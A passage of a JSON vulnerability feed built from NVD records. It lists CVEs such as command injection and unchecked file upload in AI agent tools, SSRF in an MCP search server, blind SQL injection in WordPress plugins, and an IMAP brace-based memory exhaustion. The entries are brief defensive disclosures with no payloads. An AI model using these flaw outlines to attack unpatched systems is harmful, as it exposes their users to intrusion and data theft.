2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43990","cveId":"CVE-2026-43990","aliases":[],"kind":"vulnerability","title":"JunoClaw is an agentic AI platform built on Juno Network.","summary":"JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, plugin-shell's run_command wrapped every agent-supplied command in 'sh -c' / 'cmd /C' and passed the full argument string to the shell's parser, allowing shell metacharacters in agent-supplied arguments to be interpreted as command syntax. This vulnerability is fixed in 0.x.y-security-1.","detail":"JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, plugin-shell's run_command wrapped every agent-supplied command in 'sh -c' / 'cmd /C' and passed the full argument string to the shell's parser, allowing shell metacharacters in agent-supplied arguments to be interpreted as command syntax. This vulnerability is fixed in 0.x.y-security-1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T17:16:20.953Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43990","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43990","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43990","type":"primary","publishedAt":"2026-05-12T17:16:20.953Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43989","cveId":"CVE-2026-43989","aliases":[],"kind":"vulnerability","title":"JunoClaw is an agentic AI platform built on Juno Network.","summary":"JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, the upload_wasm MCP tool accepted a filesystem path from the agent and uploaded whatever bytes the path resolved to, with no validation of location, symlink target, file size, or file format. This vulnerability is fixed in 0.x.y-security-1.","detail":"JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, the upload_wasm MCP tool accepted a filesystem path from the agent and uploaded whatever bytes the path resolved to, with no validation of location, symlink target, file size, or file format. This vulnerability is fixed in 0.x.y-security-1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T17:16:20.800Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43989","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43989","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43989","type":"primary","publishedAt":"2026-05-12T17:16:20.800Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42260","cveId":"CVE-2026-42260","aliases":[],"kind":"vulnerability","title":"Open-WebSearch is a multi-engine MCP server, CLI, and local daemon for agent web search and content retrieval.","summary":"Open-WebSearch is a multi-engine MCP server, CLI, and local daemon for agent web search and content retrieval. Prior to 2.1.7, isPublicHttpUrl / assertPublicHttpUrl in src/utils/urlSafety.ts do not recognize bracketed IPv6 literals and do not resolve DNS, which combine to allow non-blind SSRF with the response body returned to the caller. This vulnerability is fixed in 2.1.7.","detail":"Open-WebSearch is a multi-engine MCP server, CLI, and local daemon for agent web search and content retrieval. Prior to 2.1.7, isPublicHttpUrl / assertPublicHttpUrl in src/utils/urlSafety.ts do not recognize bracketed IPv6 literals and do not resolve DNS, which combine to allow non-blind SSRF with the response body returned to the caller. This vulnerability is fixed in 2.1.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T15:16:15.150Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MCP servers and SDKs"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42260","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42260","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42260","type":"primary","publishedAt":"2026-05-12T15:16:15.150Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-6865","cveId":"CVE-2026-6865","aliases":[],"kind":"vulnerability","title":"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (“Path Traversal”) vulnerability that could cause unauthorized access to sensitive files when user-supplied...","summary":"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (“Path Traversal”) vulnerability that could cause unauthorized access to sensitive files when user-supplied input is improperly handled during server-side file path processing.","detail":"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (“Path Traversal”) vulnerability that could cause unauthorized access to sensitive files when user-supplied input is improperly handled during server-side file path processing.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T14:17:10.567Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-6865","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-6865","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6865","type":"primary","publishedAt":"2026-05-12T14:17:10.567Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43916","cveId":"CVE-2026-43916","aliases":[],"kind":"vulnerability","title":"pam_authnft is a PAM session module binding nftables firewall rules to authenticated sessions via cgroupv2 inodes.","summary":"pam_authnft is a PAM session module binding nftables firewall rules to authenticated sessions via cgroupv2 inodes. Prior to 0.2.0-alpha, a heap buffer over-read in peer_lookup_tcp (src/peer_lookup.c:134, prior to the fix) allowed a crafted NETLINK_SOCK_DIAG reply to slip past the message-size check, then dereference past the end of the allocation. This vulnerability is fixed in 0.2.0-alpha.","detail":"pam_authnft is a PAM session module binding nftables firewall rules to authenticated sessions via cgroupv2 inodes. Prior to 0.2.0-alpha, a heap buffer over-read in peer_lookup_tcp (src/peer_lookup.c:134, prior to the fix) allowed a crafted NETLINK_SOCK_DIAG reply to slip past the message-size check, then dereference past the end of the allocation. This vulnerability is fixed in 0.2.0-alpha.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T14:17:08.080Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43916","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43916","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43916","type":"primary","publishedAt":"2026-05-12T14:17:08.080Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42006","cveId":"CVE-2026-42006","aliases":[],"kind":"vulnerability","title":"An attacker can cause uncontrolled memory usage with excessive bracing over IMAP.","summary":"An attacker can cause uncontrolled memory usage with excessive bracing over IMAP. The fix in CVE-2026-27857 was incomplete, only blocking one way of doing this, so there was still another way left open. In particular, the fix was for closing braces, but you could still use open braces to bypass the limit. Using excessive bracing, attacker can cause memory usage up to configured memory limit. Install fixed version, or configure vsz_limit for imap process to low value. No publicly available exploits are known.","detail":"An attacker can cause uncontrolled memory usage with excessive bracing over IMAP. The fix in CVE-2026-27857 was incomplete, only blocking one way of doing this, so there was still another way left open. In particular, the fix was for closing braces, but you could still use open braces to bypass the limit. Using excessive bracing, attacker can cause memory usage up to configured memory limit. Install fixed version, or configure vsz_limit for imap process to low value. No publicly available exploits are known.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T14:17:04.703Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"dovecot","product":"dovecot","stacks":["Dovecot","dovecot"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42006","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42006","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42006","type":"primary","publishedAt":"2026-05-12T14:17:04.703Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-4827","cveId":"CVE-2026-4827","aliases":[],"kind":"vulnerability","title":"CWE‑331: Insufficient Entropy vulnerability exists that could lead to unauthorized access when an attacker on the network can exploit weaknesses in session‑management protections.","summary":"CWE‑331: Insufficient Entropy vulnerability exists that could lead to unauthorized access when an attacker on the network can exploit weaknesses in session‑management protections.","detail":"CWE‑331: Insufficient Entropy vulnerability exists that could lead to unauthorized access when an attacker on the network can exploit weaknesses in session‑management protections.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T13:17:35.510Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-4827","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-4827","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4827","type":"primary","publishedAt":"2026-05-12T13:17:35.510Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45213","cveId":"CVE-2026-45213","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in RealMag777 BEAR woo-bulk-editor allows Blind SQL Injection.This issue affects...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in RealMag777 BEAR woo-bulk-editor allows Blind SQL Injection.This issue affects BEAR: from n/a through <= 1.1.7.1.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in RealMag777 BEAR woo-bulk-editor allows Blind SQL Injection.This issue affects BEAR: from n/a through <= 1.1.7.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T11:16:20.733Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45213","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45213","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45213","type":"primary","publishedAt":"2026-05-12T11:16:20.733Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45211","cveId":"CVE-2026-45211","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Saad Iqbal APIExperts Square for WooCommerce woosquare allows Blind SQL...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Saad Iqbal APIExperts Square for WooCommerce woosquare allows Blind SQL Injection.This issue affects APIExperts Square for WooCommerce: from n/a through <= 4.7.1.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Saad Iqbal APIExperts Square for WooCommerce woosquare allows Blind SQL Injection.This issue affects APIExperts Square for WooCommerce: from n/a through <= 4.7.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T11:16:20.487Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45211","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45211","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45211","type":"primary","publishedAt":"2026-05-12T11:16:20.487Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42742","cveId":"CVE-2026-42742","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aman Views for WPForms views-for-wpforms-lite allows Blind SQL Injection.This...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aman Views for WPForms views-for-wpforms-lite allows Blind SQL Injection.This issue affects Views for WPForms: from n/a through <= 3.4.6.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aman Views for WPForms views-for-wpforms-lite allows Blind SQL Injection.This issue affects Views for WPForms: from n/a through <= 3.4.6.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T11:16:20.227Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42742","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42742","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42742","type":"primary","publishedAt":"2026-05-12T11:16:20.227Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42741","cveId":"CVE-2026-42741","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aman Ninja Forms Views &#8211; Display &amp; Edit Ninja Forms Submissions on...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aman Ninja Forms Views &#8211; Display &amp; Edit Ninja Forms Submissions on your site frontend views-for-ninja-forms allows Blind SQL Injection.This issue affects Ninja Forms Views &#8211; Display &amp; Edit Ninja Forms Submissions on your site frontend: from n/a through <= 3.3.2.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aman Ninja Forms Views &#8211; Display &amp; Edit Ninja Forms Submissions on your site frontend views-for-ninja-forms allows Blind SQL Injection.This issue affects Ninja Forms Views &#8211; Display &amp; Edit Ninja Forms Submissions on your site frontend: from n/a through <= 3.3.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T11:16:20.103Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42741","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42741","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42741","type":"primary","publishedAt":"2026-05-12T11:16:20.103Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-2465","cveId":"CVE-2026-2465","aliases":[],"kind":"vulnerability","title":"Incorrect Authorization vulnerability in E-Kalite Software Hardware Engineering Design and Internet Services Industry and Trade Ltd.","summary":"Incorrect Authorization vulnerability in E-Kalite Software Hardware Engineering Design and Internet Services Industry and Trade Ltd. Co. Turboard FOR-S allows Privilege Escalation.\n\nThis issue affects Turboard FOR-S: from 7.01.2026 before 18.02.2026.","detail":"Incorrect Authorization vulnerability in E-Kalite Software Hardware Engineering Design and Internet Services Industry and Trade Ltd. Co. Turboard FOR-S allows Privilege Escalation.\n\nThis issue affects Turboard FOR-S: from 7.01.2026 before 18.02.2026.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T11:16:19.163Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-2465","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-2465","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-2465","type":"primary","publishedAt":"2026-05-12T11:16:19.163Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-6001","cveId":"CVE-2026-6001","aliases":[],"kind":"vulnerability","title":"Authorization bypass through User-Controlled key vulnerability in ABIS Technology Ltd.","summary":"Authorization bypass through User-Controlled key vulnerability in ABIS Technology Ltd. Co. BAPSİS allows Exploitation of Trusted Identifiers.\n\nThis issue affects BAPSİS: before v.202604152042.","detail":"Authorization bypass through User-Controlled key vulnerability in ABIS Technology Ltd. Co. BAPSİS allows Exploitation of Trusted Identifiers.\n\nThis issue affects BAPSİS: before v.202604152042.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T10:16:48.083Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-6001","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-6001","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6001","type":"primary","publishedAt":"2026-05-12T10:16:48.083Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-27662","cveId":"CVE-2026-27662","aliases":[],"kind":"vulnerability","title":"Affected devices do not properly restrict access to the web browser via the Control Panel when no corresponding security mechanisms are in place.","summary":"Affected devices do not properly restrict access to the web browser via the Control Panel when no corresponding security mechanisms are in place.\r\nThis could allow an unauthenticated attacker to gain unauthorized access to the web browser, potentially enabling the discovery of backdoors, performing unauthorized actions, or exploiting 